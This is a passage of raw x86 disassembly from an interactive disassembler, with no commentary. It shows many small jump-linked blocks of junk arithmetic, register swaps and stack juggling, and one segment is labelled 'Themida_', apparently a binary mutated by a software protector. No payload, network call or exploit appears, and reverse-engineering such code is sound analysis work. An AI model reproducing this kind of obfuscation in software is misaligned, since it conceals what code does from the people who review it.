pop ecx
add ecx, 4
push ebp
mov ebp, 4
jmp loc_56C13F
; ---------------------------------------------------------------------------
loc_567347: ; CODE XREF: sub_562ABA+70CFj
add ecx, 4
jmp loc_570EE9
; ---------------------------------------------------------------------------
loc_567352: ; CODE XREF: sub_562ABA+5890j
mov bx, bp
pop bp
sub bx, 0FFFFh
inc bx
jmp loc_56B85E
; ---------------------------------------------------------------------------
loc_567363: ; CODE XREF: sub_562ABA+67DFj
sub esi, 62590B81h
jmp loc_560DB8
; ---------------------------------------------------------------------------
loc_56736E: ; CODE XREF: sub_562ABA+3CAFj
xor ah, bl
pop ebx
and ah, 0B5h
shl ah, 4
sub ah, 0F5h
add bl, 0A1h
add bl, ah
sub bl, 0A1h
push [esp+20h+var_22+2]
pop eax
jmp loc_56A717
; ---------------------------------------------------------------------------
loc_56738B: ; CODE XREF: sub_562ABA-15BEj
push 4A66h
mov [esp-6+arg_0+2], ecx
push esp
pop ecx
push edi
mov edi, esp
add edi, 4
jmp loc_561BED
; ---------------------------------------------------------------------------
loc_5673A3: ; CODE XREF: sub_562ABA+D991j
add edx, 744E758Eh
jmp loc_563C65
; ---------------------------------------------------------------------------
loc_5673AE: ; CODE XREF: sub_562ABA+9002j
neg dh
xor dh, 0DCh
jmp loc_56E0C1
; ---------------------------------------------------------------------------
loc_5673B8: ; CODE XREF: sub_562ABA+21BFj
mov esi, 5FD63055h
push edx
mov edx, 0AC14DDB7h
add esi, edx
pop edx
jmp loc_56581D
; ---------------------------------------------------------------------------
loc_5673CB: ; CODE XREF: sub_562ABA+B34Cj
push [esp+36h+var_36]
jmp loc_564B27
; ---------------------------------------------------------------------------
loc_5673D3: ; CODE XREF: sub_562ABA+3A4Fj
pop eax
xchg ebp, [esp+10h+var_12+2]
mov esp, [esp+10h+var_12+2]
mov [esp+10h+var_12+2], edi
mov edi, 0FE342D57h
jmp loc_569BA7
; ---------------------------------------------------------------------------
loc_5673E7: ; CODE XREF: sub_562ABA+58B9j
mov eax, 4
add ecx, eax
pop eax
xor ecx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ecx
xor ecx, [esp+0Ch+var_C]
pop esp
jmp loc_562D4D
; ---------------------------------------------------------------------------
loc_5673FE: ; CODE XREF: sub_562ABA+7599j
mov edx, [esp+8+var_8]
jmp loc_55EC91
; ---------------------------------------------------------------------------
loc_567406: ; CODE XREF: sub_562ABA-A03j
mov esp, [esp+0]
jmp loc_562F17
; ---------------------------------------------------------------------------
loc_56740E: ; CODE XREF: sub_562ABA+5D75j
inc ebx
or ebx, 142B1581h
or ebx, 59894539h
push ebp
push edx
mov edx, 5A3513C2h
xor edx, 19344A56h
mov ebp, edx
pop edx
push edi
jmp loc_56CA6E
; ---------------------------------------------------------------------------
loc_567431: ; CODE XREF: sub_562ABA+5D62j
push 4473h
mov [esp+1Ah+var_1A], edx
jmp loc_5671D4
; ---------------------------------------------------------------------------
loc_56743E: ; CODE XREF: sub_562ABA+3B5Dj
push edi
mov edi, esp
jmp loc_56AAAF
; ---------------------------------------------------------------------------
loc_567446: ; CODE XREF: sub_562ABA-CA7j
pop ecx
jmp loc_56DDFE
; ---------------------------------------------------------------------------
loc_56744C: ; CODE XREF: sub_562ABA-204Dj
sub ecx, 481B0B78h
add ecx, esi
push edx
mov edx, 0EBF1875h
shr edx, 8
push esi
mov esi, 34DA7814h
or edx, esi
pop esi
jmp loc_570D92
; ---------------------------------------------------------------------------
push [esp+1Ah+var_1A]
pop ecx
jmp loc_56C023
; ---------------------------------------------------------------------------
loc_567474: ; CODE XREF: sub_562ABA+AF3Bj
xchg ebp, [esp+1Ah+var_1A]
pop esp
add esp, 4
push esi
jmp loc_55EA48
; ---------------------------------------------------------------------------
loc_567481: ; CODE XREF: sub_562ABA+99FEj
sub ecx, 0F75337B1h
jmp loc_55EC56
; ---------------------------------------------------------------------------
loc_56748C: ; CODE XREF: sub_562ABA+DBDEj
pop ecx
xor [esp+12h+var_12], ecx
xor ecx, [esp+12h+var_12]
xor [esp+12h+var_12], ecx
mov eax, [esp+12h+var_12]
sub esp, 4
mov [esp+16h+var_16], edi
jmp loc_56CF65
; ---------------------------------------------------------------------------
loc_5674A4: ; CODE XREF: sub_562ABA+7754j
sub ecx, 477C6987h
jmp loc_561E11
; ---------------------------------------------------------------------------
loc_5674AF: ; CODE XREF: sub_562ABA+523Cj
not edx
jmp loc_565883
; ---------------------------------------------------------------------------
loc_5674B6: ; CODE XREF: sub_562ABA+7DA2j
push [esp+16h+var_12]
jmp loc_55F657
; ---------------------------------------------------------------------------
loc_5674BF: ; CODE XREF: sub_562ABA+61D8j
mov eax, [esp+1Ah+var_1A]
jmp loc_56558C
; ---------------------------------------------------------------------------
loc_5674C7: ; CODE XREF: sub_562ABA+792Ej
push esi
mov esi, 144068B3h
jmp loc_56268F
; ---------------------------------------------------------------------------
loc_5674D2: ; CODE XREF: sub_562ABA+81CEj
mov [esp+1Eh+var_1E], ecx
mov ecx, 209E7E7Ch
neg ecx
xor ecx, 3805242Ah
push eax
mov eax, 56BC4312h
shl eax, 6
shl eax, 3
shr eax, 2
sub eax, 0FE7C7922h
jmp loc_56E163
; ---------------------------------------------------------------------------
loc_5674FB: ; CODE XREF: sub_562ABA-BE5j
pop edx
push esi
jmp loc_569F26
; ---------------------------------------------------------------------------
loc_567502: ; CODE XREF: sub_562ABA+B76Fj
add ebp, ecx
pop ecx
xor ebp, 78712589h
shr ebp, 4
or ebp, 12FE69DAh
jmp loc_5698AA
; ---------------------------------------------------------------------------
loc_567519: ; CODE XREF: sub_562ABA+EB46j
pop esp
xchg edi, [esp+2+var_4+2]
pop esp
sub esp, 2
mov word ptr [esp+2+var_4+2], cx
jmp loc_566E5E
; ---------------------------------------------------------------------------
loc_56752A: ; CODE XREF: sub_562ABA+8DBDj
neg bx
jmp loc_567D6C
; ---------------------------------------------------------------------------
loc_567532: ; CODE XREF: sub_562ABA+26Dj
push edx
mov dh, 39h
sub al, dh
pop edx
push dx
jmp loc_570B43
; ---------------------------------------------------------------------------
loc_56753F: ; CODE XREF: sub_562ABA+8A91j
mov [esp+8+var_8], ebp
push edi
push 39C533E8h
pop edi
xor edi, 62595F9Ch
or edi, 4CB07048h
sub edi, 13337325h
sub edi, 0DC1DBCBAh
jmp loc_56390E
; ---------------------------------------------------------------------------
loc_567566: ; CODE XREF: sub_562ABA+D1CEj
pop edi
jmp loc_567034
; ---------------------------------------------------------------------------
loc_56756C: ; CODE XREF: sub_562ABA+2B2Bj
inc ebp
sub ebp, 36A32768h
xor eax, ebp
jmp loc_56A99A
; ---------------------------------------------------------------------------
loc_56757A: ; CODE XREF: sub_562ABA+944Bj
pop dword ptr [esp+0]
pop esp
jmp loc_569A39
; ---------------------------------------------------------------------------
loc_567583: ; CODE XREF: sub_562ABA+9D08j
add esp, 4
push ecx
mov ecx, 423C2CAEh
and eax, ecx
jmp loc_55EAEE
; ---------------------------------------------------------------------------
loc_567593: ; CODE XREF: sub_562ABA+5C68j
push edx
mov edx, 6B98456Eh
sub [esp+0Ah+var_8+2], edx
pop edx
pop edi
add edi, 6B98456Eh
jmp loc_56F325
; ---------------------------------------------------------------------------
loc_5675AA: ; CODE XREF: sub_562ABA+FD69j
mov ecx, 20F12778h
push eax
mov eax, 420F11EAh
push edx
jmp loc_572AE3
; ---------------------------------------------------------------------------
loc_5675BB: ; CODE XREF: sub_562ABA+70AAj
add edi, 11DB2BF0h
jmp loc_56245B
; ---------------------------------------------------------------------------
loc_5675C6: ; CODE XREF: sub_562ABA+D0C5j
push 6938h
mov [esp+0], ecx
mov ecx, 0C414950h
xchg esi, ecx
dec esi
push ecx
jmp sub_5602C2
; ---------------------------------------------------------------------------
loc_5675DC: ; CODE XREF: sub_562ABA+2B3j
push edi
mov edi, 695B3D27h
shr edi, 3
not edi
xor edi, 0A333BDE8h
add ebp, edi
jmp loc_5602EE
; ---------------------------------------------------------------------------
loc_5675F4: ; CODE XREF: sub_562ABA-103Aj
add esp, 4
jmp loc_55E524
; ---------------------------------------------------------------------------
loc_5675FC: ; CODE XREF: sub_562ABA-31A3j
add esi, 30CD14BBh
and ebp, esi
mov esi, [esp+12h+var_12]
add esp, 4
jmp loc_560CB0
; ---------------------------------------------------------------------------
loc_567612: ; CODE XREF: sub_562ABA+D677j
push 1
push [esp+12h+var_12]
jmp loc_56B597
; ---------------------------------------------------------------------------
loc_56761F: ; CODE XREF: sub_562ABA+2EB3j
add ebx, eax
pop eax
add ebx, ebp
sub ebx, 63D918C5h
push edx
mov edx, 354F7FB0h
inc edx
or edx, 38435CA9h
jmp loc_55F7BB
; ---------------------------------------------------------------------------
loc_56763C: ; CODE XREF: sub_562ABA+D8C1j
pop ecx
push 141h
mov [esp+4Eh+var_4E], ecx
jmp loc_56CE69
; ---------------------------------------------------------------------------
loc_56764A: ; CODE XREF: sub_562ABA+7F93j
mov ebx, 2D7F5DACh
mov eax, ebx
pop ebx
push 5C00h
mov [esp+4Eh+var_4E], ecx
mov ecx, 38515DB7h
inc ecx
push edx
jmp loc_5659F0
; ---------------------------------------------------------------------------
loc_567666: ; CODE XREF: sub_562ABA+2369j
sub esp, 4
jmp loc_56B9F7
; ---------------------------------------------------------------------------
loc_56766E: ; CODE XREF: sub_562ABA-EFAj
xchg ebp, [esp+0Ah+var_C+2]
mov esi, [esp+0Ah+var_C+2]
add esp, 4
and esi, 329B6544h
shl esi, 8
or esi, 69F6430Ah
push ebx
jmp loc_56F764
; ---------------------------------------------------------------------------
loc_56768C: ; CODE XREF: sub_562ABA+8F62j
mov ebp, 2A95422Eh
add ebp, 0FFFFFFFFh
dec ebp
jmp loc_565FA2
; ---------------------------------------------------------------------------
loc_56769D: ; CODE XREF: sub_562ABA+294Aj
add eax, 48C46E74h
add eax, edi
sub eax, 48C46E74h
mov edi, [esp+0]
jmp loc_572558
; ---------------------------------------------------------------------------
loc_5676B1: ; CODE XREF: sub_562ABA+1CD8j
push edi
jmp loc_56DEB8
; ---------------------------------------------------------------------------
loc_5676B7: ; CODE XREF: sub_562ABA+4566j
push [esp+22h+var_1E]
pop ecx
pop [esp+22h+var_22]
sub esp, 4
mov [esp+22h+var_22], ecx
push 35A9h
mov [esp+26h+var_28+2], esi
mov ecx, [esp+26h+var_28+2]
push ebx
mov ebx, esp
jmp loc_564DE5
; ---------------------------------------------------------------------------
loc_5676D8: ; CODE XREF: sub_562ABA+B9D2j
mov edi, 4
sub eax, edi
push [esp+2Ah+var_2C+2]
pop edi
add esp, 4
push eax
push [esp+2Ah+var_28+2]
pop eax
pop [esp+2Ah+var_2C+2]
mov esp, [esp+26h+var_28+2]
jmp loc_56DFE4
; ---------------------------------------------------------------------------
loc_5676F7: ; CODE XREF: sub_562ABA-35Cj
mov [esp+3Ah+var_3A], ebp
push 40h
mov ebp, [esp+3Eh+var_3E]
jmp loc_567FC4
; ---------------------------------------------------------------------------
loc_567707: ; CODE XREF: sub_562ABA-2F9Ej
push [esp+12h+var_12]
pop ebp
add esp, 4
add ecx, 4
xchg ecx, [esp+0]
mov esp, [esp+0]
jmp loc_571B29
; ---------------------------------------------------------------------------
loc_567722: ; CODE XREF: sub_562ABA-687j
add esp, 4
add edx, 4
xor edx, [esp+3Ah+var_3A]
xor [esp+3Ah+var_3A], edx
xor edx, [esp+3Ah+var_3A]
mov esp, [esp+3Ah+var_3A]
jmp loc_56C39B
; ---------------------------------------------------------------------------
loc_56773C: ; CODE XREF: sub_562ABA+3CE0j
sub edi, eax
mov eax, [esp+0]
add esp, 4
jmp loc_56000A
; ---------------------------------------------------------------------------
loc_56774C: ; CODE XREF: sub_562ABA+F2AEj
sub al, bl
sub al, 87h
sub esp, 2
mov [esp+0], dx
sub esp, 2
mov word ptr [esp+2+var_4+2], cx
mov cl, 1Eh
push ebx
mov bl, cl
mov dl, bl
jmp loc_5662DE
; ---------------------------------------------------------------------------
loc_56776A: ; CODE XREF: sub_562ABA-1BDAj
xor ebx, 66EB2FFEh
jmp loc_565647
; ---------------------------------------------------------------------------
loc_567775: ; CODE XREF: sub_562ABA+B09Fj
add edx, 1
dec edx
sub edx, 1
push esi
mov esi, 75E90318h
or esi, 61D41E19h
add esi, 0CE268C7Ch
jmp loc_5609E3
; ---------------------------------------------------------------------------
loc_567796: ; CODE XREF: sub_562ABA+37BCj
add ebx, 14FB426Dh
jmp loc_55E895
; ---------------------------------------------------------------------------
loc_5677A1: ; CODE XREF: sub_562ABA+45C2j
push esi
push edx
push 53084823h
pop edx
jmp loc_55E8FF
; ---------------------------------------------------------------------------
loc_5677AE: ; CODE XREF: sub_562ABA+6C6Dj
push 4469h
mov [esp+42h+var_42], ebx
push edi
jmp loc_56DE7B
; ---------------------------------------------------------------------------
loc_5677BC: ; CODE XREF: sub_562ABA+E7C5j
add esp, 4
add edx, 0A7FBD880h
and ecx, edx
mov edx, [esp+42h+var_42]
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_569C99
; ---------------------------------------------------------------------------
loc_5677DE: ; CODE XREF: Themida_:00562959j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5677E3: ; CODE XREF: sub_562ABA+6CACj
mov ebp, ebx
pop ebx
sub edi, ebp
pop ebp
xchg edi, [esp+3Ah+var_3A]
jmp loc_567DF9
; ---------------------------------------------------------------------------
loc_5677F1: ; CODE XREF: sub_562ABA-121j
push [esp+2Ah+var_2C+2]
mov ebx, [esp+0]
add esp, 4
add esp, 4
jmp loc_560270
; ---------------------------------------------------------------------------
loc_567805: ; CODE XREF: sub_562ABA+7EDBj
pop eax
sub ebx, 6E4D63FCh
push edx
push ecx
jmp loc_56A164
; ---------------------------------------------------------------------------
loc_567813: ; CODE XREF: sub_562ABA+3EB2j
mov edx, [esp-6+arg_0+2]
jmp loc_5645B4
; ---------------------------------------------------------------------------
loc_56781B: ; CODE XREF: sub_562ABA-3500j
add bl, 0ADh
push edx
mov dh, 32h
not dh
jmp loc_571CF6
; ---------------------------------------------------------------------------
loc_567828: ; CODE XREF: sub_562ABA+5AD5j
push ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 5D161379h
jmp loc_569519
; ---------------------------------------------------------------------------
loc_56783C: ; CODE XREF: sub_562ABA+A9AEj
mov ecx, 540394h
jmp loc_562117
; ---------------------------------------------------------------------------
loc_567846: ; CODE XREF: sub_562ABA+A86Bj
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56784E: ; CODE XREF: sub_562ABA+9112j
add ecx, ebx
sub ecx, 3CA11F9Bh
pop ebx
sub ecx, 4
xchg ecx, [esp-0Ch+arg_8]
jmp loc_560BF6
; ---------------------------------------------------------------------------
loc_567865: ; CODE XREF: sub_562ABA+64E5j
add edx, 4
add edx, 4
xchg edx, [esp-0Ch+arg_8]
pop esp
neg eax
or eax, 70E86730h
push 0
sub [esp-0Ch+arg_8], eax
mov eax, [esp-0Ch+arg_8]
jmp loc_5649F3
; ---------------------------------------------------------------------------
loc_567889: ; CODE XREF: sub_562ABA+EE10j
mov ecx, [esp-0Ch+arg_8]
add esp, 4
sub al, dh
pop dx
push edx
push ebx
mov bl, 0C0h
jmp loc_56987F
; ---------------------------------------------------------------------------
loc_56789F: ; CODE XREF: sub_562ABA+6E05j
sub eax, esi
add eax, 1A7533DCh
sub esp, 4
mov [esp-6+arg_0+2], ebp
mov ebp, 556E63BBh
inc ebp
neg ebp
add ebp, 0B16D7293h
add eax, ebp
pop ebp
pop esi
push 3B3Eh
mov [esp-0Ah+arg_4+2], ecx
push 7534h
mov [esp-6+arg_0+2], eax
mov eax, esp
push ebx
mov ebx, 6E3956F8h
or ebx, 76646596h
jmp loc_56FA30
; ---------------------------------------------------------------------------
loc_5678E1: ; CODE XREF: sub_562ABA-42AFj
push [esp+16h+var_16]
push [esp+1Ah+var_1A]
pop eax
add esp, 4
push 6B28h
jmp loc_569E67
; ---------------------------------------------------------------------------
loc_5678F8: ; CODE XREF: sub_562ABA-4491j
pop esp
push edx
push [esp+4Ah+var_46]
pop edx
pop [esp+4Ah+var_4A]
mov esp, [esp+46h+var_46]
and [esp+46h+var_46], eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56790E: ; CODE XREF: sub_562ABA+B8A7j
add ecx, 3C552EF8h
mov eax, [esp+4Ah+var_4A]
jmp loc_571982
; ---------------------------------------------------------------------------
loc_56791C: ; CODE XREF: sub_562ABA+524Cj
push eax
mov eax, 7DE848A0h
mov ebp, eax
pop eax
shr ebp, 3
shr ebp, 6
sub ebp, 40D46539h
or ebp, 73B31A32h
push edx
mov edx, 3D452E59h
or edx, 61AB52F8h
push esi
jmp loc_5660C9
; ---------------------------------------------------------------------------
loc_567949: ; CODE XREF: sub_562ABA-49C3j
push 0
jmp loc_568328
; ---------------------------------------------------------------------------
loc_567953: ; CODE XREF: sub_562ABA+B81Fj
push [esp+0Ah+var_8+2]
pop esi
pop [esp+0Ah+var_C+2]
mov esp, [esp+6+var_8+2]
jmp loc_56706C
; ---------------------------------------------------------------------------
loc_567963: ; CODE XREF: sub_562ABA+3564j
shr ecx, 4
shl ecx, 1
push edi
mov edi, 4C584E2h
jmp loc_561272
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+1Eh+var_1E]
jmp sub_561161
; ---------------------------------------------------------------------------
loc_56797C: ; CODE XREF: sub_562ABA+9857j
mov [esp+1Eh+var_1E], ecx
mov ecx, 75767CDEh
push esi
mov esi, 404872C8h
sub ecx, esi
mov esi, [esp+22h+var_22]
add esp, 4
jmp loc_55F385
; ---------------------------------------------------------------------------
loc_56799A: ; CODE XREF: sub_562ABA-3636j
pop ebx
jmp loc_5630F6
; ---------------------------------------------------------------------------
loc_5679A0: ; CODE XREF: sub_562ABA+5962j
not ebp
add ebp, 9E48E692h
sub esi, ebp
pop ebp
push esi
jmp loc_572939
; ---------------------------------------------------------------------------
loc_5679B1: ; CODE XREF: sub_562ABA+C042j
mov esp, [esp+26h+var_28+2]
push 0B1Fh
mov [esp+2Ah+var_2C+2], edx
mov edx, 0BEB5FD9h
sub edx, 0CD4F2AEFh
sub eax, 7AF124BFh
add eax, edx
jmp loc_56C7C7
; ---------------------------------------------------------------------------
loc_5679D3: ; CODE XREF: sub_562ABA+A0A8j
push cx
mov ch, 8Fh
xor ah, ch
pop cx
dec ah
jmp loc_5729B1
; ---------------------------------------------------------------------------
loc_5679E2: ; CODE XREF: sub_562ABA+EC72j
pop ebx
jmp loc_5610B3
; ---------------------------------------------------------------------------
loc_5679E8: ; CODE XREF: sub_562ABA-4061j
mov [esp+1Eh+var_1E], ebp
jmp loc_5672C6
; ---------------------------------------------------------------------------
loc_5679F0: ; CODE XREF: sub_562ABA-D23j
mov [esp+3Ah+var_3A], edx
push ecx
push 43D72022h
pop ecx
add ecx, 6AE8303Eh
jmp loc_565D7F
; ---------------------------------------------------------------------------
loc_567A05: ; CODE XREF: sub_562ABA+D284j
mov esi, [esp+3Eh+var_3E]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push [esp+42h+var_3E]
pop ebx
jmp loc_56B677
; ---------------------------------------------------------------------------
loc_567A22: ; CODE XREF: sub_562ABA-284Fj
neg ebp
add ebp, 3E21842Fh
mov eax, ebp
jmp loc_56D666
; ---------------------------------------------------------------------------
loc_567A31: ; CODE XREF: sub_562ABA+69FFj
add ebp, 4
sub ebp, 4
jmp loc_56EB16
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-6+arg_0+2]
sub esp, 4
jmp loc_567BCA
; ---------------------------------------------------------------------------
loc_567A4B: ; CODE XREF: sub_562ABA-28Ej
pop edi
add esp, 4
push esi
mov esi, 2
add ecx, esi
jmp loc_56610B
; ---------------------------------------------------------------------------
loc_567A5C: ; CODE XREF: sub_562ABA+EA15j
sub edi, 96358478h
mov ebx, edi
pop edi
add edx, 2D38598Bh
jmp loc_568CB0
; ---------------------------------------------------------------------------
loc_567A70: ; CODE XREF: sub_562ABA+F307j
pop [esp+12h+var_12]
push edx
jmp loc_5653ED
; ---------------------------------------------------------------------------
loc_567A79: ; CODE XREF: sub_562ABA+8B1Aj
mov [esp+12h+var_12], ecx
mov ecx, 2
jmp loc_565295
; ---------------------------------------------------------------------------
loc_567A86: ; CODE XREF: sub_562ABA-32E6j
pop edx
pop ebp
add eax, 2D5E75A2h
add eax, ebx
push esi
mov esi, 2D5E75A2h
sub eax, esi
pop esi
pop ebx
push 308Eh
mov [esp+0], edi
mov edi, 2
sub eax, 17561573h
add eax, edi
push ecx
mov ecx, 17561573h
add eax, ecx
pop ecx
mov edi, [esp+0]
add esp, 4
push 328Eh
mov [esp+0], eax
jmp loc_56169E
; ---------------------------------------------------------------------------
loc_567AC9: ; CODE XREF: sub_562ABA+C6D6j
pop eax
sub esp, 4
mov [esp+0], edx
mov dl, ah
mov bh, dl
jmp loc_560D7D
; ---------------------------------------------------------------------------
loc_567AD9: ; CODE XREF: sub_562ABA+9376j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
push [esp+0Ah+var_C+2]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_569AEF
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
sub esp, 4
mov [esp+12h+var_12], esi
sub esp, 4
mov [esp+16h+var_16], ecx
jmp loc_56F0E1
; ---------------------------------------------------------------------------
loc_567B1A: ; CODE XREF: sub_562ABA+7BB4j
sub ecx, ebx
jmp loc_571953
; ---------------------------------------------------------------------------
loc_567B21: ; CODE XREF: sub_562ABA-42CAj
mov ebp, 74836CCFh
shr ebp, 6
sub ebp, 0A14C9AEFh
jmp loc_55E810
; ---------------------------------------------------------------------------
loc_567B34: ; CODE XREF: sub_562ABA+D3FFj
add [esp+1Eh+var_1E], 4
jmp loc_5664B2
; ---------------------------------------------------------------------------
loc_567B3D: ; CODE XREF: sub_55E502+4D8j
xor ebx, 44330CC7h
jmp loc_55EE3A
; ---------------------------------------------------------------------------
loc_567B48: ; CODE XREF: sub_55E50D+1j
pop ebp
pop ebx
sub eax, 4A867ADEh
add eax, ebp
add eax, 4A867ADEh
push [esp+16h+var_16]
mov ebp, [esp+1Ah+var_1A]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+1Eh+var_1E]
jmp loc_5653C1
; ---------------------------------------------------------------------------
loc_567B70: ; CODE XREF: sub_562ABA+E1D2j
mov edi, 4
add ebx, 386E0BFFh
push ecx
mov ecx, 6F9A18EEh
and ecx, 119C1BBCh
sub ecx, 25BC7D1Fh
not ecx
sub ecx, 7AFE31DEh
jmp loc_56E0F4
; ---------------------------------------------------------------------------
loc_567B9A: ; CODE XREF: sub_562ABA-804j
xchg edi, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
mov [esp+32h+var_32], ebp
push esi
mov esi, 0FFFFFFFFh
mov ebp, esi
pop esi
jmp loc_55F7F8
; ---------------------------------------------------------------------------
loc_567BB1: ; CODE XREF: sub_562ABA+82B0j
xor [esp+32h+var_32], eax
xor eax, [esp+32h+var_32]
xor [esp+32h+var_32], eax
jmp loc_56F12E
; ---------------------------------------------------------------------------
loc_567BBF: ; CODE XREF: sub_562ABA+29DEj
sub edi, esi
pop esi
xchg edi, [esp+2+var_4+2]
jmp loc_56419B
; ---------------------------------------------------------------------------
loc_567BCA: ; CODE XREF: sub_562ABA+4F8Cj
mov [esp+0], ebx
jmp loc_571B65
; ---------------------------------------------------------------------------
loc_567BD2: ; CODE XREF: sub_562ABA+D2E3j
pop ecx
xchg eax, [esp-6+arg_0+2]
pop esp
mov [esp-0Ah+arg_4+2], ecx
push ebx
mov bh, 83h
or bh, 0B1h
not bh
jmp loc_55F0F3
; ---------------------------------------------------------------------------
loc_567BE7: ; CODE XREF: sub_562ABA-3F52j
mov esp, [esp+2Ah+var_2C+2]
neg ebx
jmp loc_56A955
; ---------------------------------------------------------------------------
loc_567BF1: ; CODE XREF: sub_562ABA+FCDj
push ebp
mov ebp, 431D2905h
push ebx
mov ebx, 6B96513Ah
add ebp, ebx
pop ebx
xor ebp, 3A0A43CFh
xor ebp, 53722995h
shr ebp, 2
push esi
mov esi, 39993604h
xor esi, 1C9480EDh
jmp loc_5665A7
; ---------------------------------------------------------------------------
loc_567C20: ; CODE XREF: sub_562ABA-811j
mov [esp+36h+var_36], ecx
add [esp+36h+var_36], 2A256875h
pop edx
sub edx, 2A256875h
mov ecx, [esp+32h+var_32]
jmp loc_56CA4F
; ---------------------------------------------------------------------------
loc_567C39: ; CODE XREF: sub_562ABA+6B57j
mov edi, [esp+32h+var_32]
add esp, 4
jmp loc_570B27
; ---------------------------------------------------------------------------
lodsb
push 6C54h
mov [esp+32h+var_32], ecx
mov cl, 0D5h
neg cl
jmp loc_571D1E
; ---------------------------------------------------------------------------
loc_567C59: ; CODE XREF: sub_562ABA+3077j
xor eax, ebx
jmp loc_55E5E3
; ---------------------------------------------------------------------------
loc_567C60: ; CODE XREF: sub_562ABA-4547j
mov edi, esp
add edi, 4
push 3DDDh
mov [esp+42h+var_42], ebx
push 6498h
jmp loc_56E52E
; ---------------------------------------------------------------------------
loc_567C7A: ; CODE XREF: sub_562ABA-1706j
xor [esp-4+arg_0], ebx
jmp loc_5620F5
; ---------------------------------------------------------------------------
loc_567C82: ; CODE XREF: sub_562ABA-22F7j
push edx
mov edx, 5D773494h
sub eax, 5A8D5909h
jmp loc_56DFA9
; ---------------------------------------------------------------------------
loc_567C92: ; CODE XREF: sub_562ABA-40A4j
push 72C7h
mov [esp+1Ah+var_1A], ecx
mov ecx, 5FEE27C1h
dec ecx
shl ecx, 5
add ecx, 4616629Ch
mov ebp, ecx
pop ecx
jmp loc_56F510
; ---------------------------------------------------------------------------
loc_567CB1: ; CODE XREF: sub_562ABA+40FCj
mov edx, 27E00D3Dh
sub ebx, 2BD717A0h
add ebx, edx
add ebx, 2BD717A0h
jmp loc_5719C5
; ---------------------------------------------------------------------------
loc_567CC9: ; CODE XREF: sub_562ABA-1893j
pop esp
mov eax, [esp+0]
add esp, 4
mov ecx, [esp-4+arg_0]
add esp, 4
mov dh, bh
mov ebx, [esp-8+arg_4]
add esp, 4
push ebx
mov ebx, 28h
jmp loc_55E513
; ---------------------------------------------------------------------------
loc_567CEC: ; CODE XREF: sub_562ABA-4312j
mov [esp+2Ah+var_2C+2], ebp
jmp loc_5613C3
; ---------------------------------------------------------------------------
loc_567CF4: ; CODE XREF: sub_562ABA+9DD5j
xor eax, edx
jmp loc_5674AF
; ---------------------------------------------------------------------------
loc_567CFB: ; CODE XREF: sub_562ABA-2368j
sub bl, 1Bh
push ecx
push eax
mov eax, 79015B6Bh
push ebp
jmp loc_56791C
; ---------------------------------------------------------------------------
loc_567D0B: ; CODE XREF: sub_562ABA+1919j
mov ch, ah
pop eax
not dh
push ebx
mov bh, dh
mov dh, ch
mov ch, bh
pop ebx
add ch, 71h
xor dl, ch
mov ecx, [esp+1Ah+var_1A]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp+1Eh+var_1E]
pop esp
sub al, 91h
add al, dl
jmp loc_5722F8
; ---------------------------------------------------------------------------
loc_567D39: ; CODE XREF: sub_562ABA+473Cj
sub esi, eax
pop eax
add ecx, esi
pop esi
sub ecx, 4
jmp loc_57157C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb byte ptr [esp+1Ch+var_1E+2], al
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_567D59: ; CODE XREF: sub_562ABA+F9C1j
add esi, 7AEC2597h
add esi, ebp
sub esi, 7AEC2597h
jmp loc_562805
; ---------------------------------------------------------------------------
loc_567D6C: ; CODE XREF: sub_562ABA+4A73j
not bx
jmp loc_56B03E
; ---------------------------------------------------------------------------
loc_567D74: ; CODE XREF: sub_562ABA+5D93j
add esp, 4
xchg eax, esi
neg esi
push eax
mov eax, 0FFFFFFFFh
jmp loc_56C1A8
; ---------------------------------------------------------------------------
loc_567D88: ; CODE XREF: sub_562ABA+2D4Fj
mov [esp+26h+var_28+2], ebx
mov ebx, 2200753Ah
xor ebx, 250011AEh
shr ebx, 7
jmp loc_56F7EC
; ---------------------------------------------------------------------------
loc_567D9E: ; CODE XREF: sub_562ABA+17FDj
sub esp, 4
mov [esp+12h+var_12], eax
push edx
mov dh, 0E2h
mov al, 94h
add al, 0D6h
add al, dh
sub al, 0D6h
pop edx
push cx
push edx
mov dl, 4Eh
neg dl
sub dl, 70h
xor dl, 26h
mov cl, dl
jmp loc_570514
; ---------------------------------------------------------------------------
loc_567DC4: ; CODE XREF: sub_562ABA+7C17j
add bl, 82h
mov edx, [esp+18h+var_1A+2]
sub esp, 4
jmp loc_56DD3F
; ---------------------------------------------------------------------------
loc_567DD2: ; CODE XREF: sub_562ABA+A193j
pop edx
push ebx
mov ebx, 1D7606CBh
inc ebx
add ebx, 4EFB4E7Bh
shl ebx, 6
jmp loc_56AB92
; ---------------------------------------------------------------------------
loc_567DE8: ; CODE XREF: sub_562ABA+AF30j
shl ecx, 2
or ecx, 0DDE6ECCh
shl ecx, 7
jmp loc_57149A
; ---------------------------------------------------------------------------
loc_567DF9: ; CODE XREF: sub_562ABA+4D32j
mov esp, [esp+3Ah+var_3A]
mov [esp+3Ah+var_3A], ecx
push esp
pop ecx
push ebp
jmp loc_567E9C
; ---------------------------------------------------------------------------
loc_567E07: ; CODE XREF: sub_562ABA-1BAEj
pop eax
shr esi, 2
jmp loc_56E791
; ---------------------------------------------------------------------------
loc_567E10: ; CODE XREF: sub_562ABA+614Fj
add edi, 220458B5h
jmp loc_565FC3
; ---------------------------------------------------------------------------
loc_567E1B: ; CODE XREF: sub_562ABA+AF1Bj
